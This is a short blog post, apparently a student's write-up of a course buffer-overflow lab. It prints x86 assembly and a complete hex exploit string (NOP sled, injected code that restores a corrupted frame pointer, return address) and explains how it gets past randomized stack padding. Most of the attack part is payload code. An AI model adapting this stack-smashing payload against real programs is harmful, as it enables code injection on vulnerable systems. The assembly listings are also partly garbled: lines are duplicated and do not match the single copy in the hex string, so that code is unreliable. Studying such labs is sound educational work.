Allow me to geek out for a few moments...
Before compilation and padding, the code is:
movl $0x76923d36, %eax
movl $0xffffb93c, %esp
movl $0xb9382d8b, (0xffffb948)
movl $0xc581ffff, (0xffffb94c)
movl $0x000000dd, (0xffffb950)
movl $0x5e2404c7, (0xffffb954)
movl $0xc308048f, (0xffffb958)
movl $0xffffb948, %edx
call %edx
movl $0xffffb93c, %esp
movl $0xb9382d8b, (0xffffb948)
movl $0xc581ffff, (0xffffb94c)
movl $0x000000dd, (0xffffb950)
movl $0x5e2404c7, (0xffffb954)
movl $0xc308048f, (0xffffb958)
movl $0xffffb948, %edx
call %edx
The 3rd to 7th lines are actually more assembly code. They're the compiled version and byte order swapped version of:
movl (0xffffb938), %ebp
addl $0x000000dd, %ebp
movl $0x08048f5e, (%esp)
ret
addl $0x000000dd, %ebp
movl $0x08048f5e, (%esp)
ret
When all is said and done, the exploit string in hex form looks like this:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 36 3d 92 76 bc 3c b9 ff ff c7 05 48 b9 ff ff 8b 2d 38 b9 c7 05 4c b9 ff ff ff ff 81 c5 c7 05 50 b9 ff ff dd 00 00 00 c7 05 54 b9 ff ff c7 04 24 5e c7 05 58 b9 ff ff 8f 04 08 c3 ba 48 b9 ff ff ff d2 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 48 b9 ff ff
This is padding, exploit code, padding, pointer to some point above our exploit code. How far above depends on the random padding the teacher has thrown on the stack.
The essence of how it works is realizing that a call instruction saves the instruction pointer to the stack. The eip saved scales with the random changes to the frame pointer, so we can use it (plus an offset) to retrieve the corrupted frame pointer for testn. But, of course, to use call we have to have something meaningful to jump to, so we write the remaining code we want to execute. In particular, we want it to end up in an area we know won't interfere with any other bit of the program - why not overwrite a bit of our own exploit string?
And it works like a charm. 10% extra credit, yay! blaugh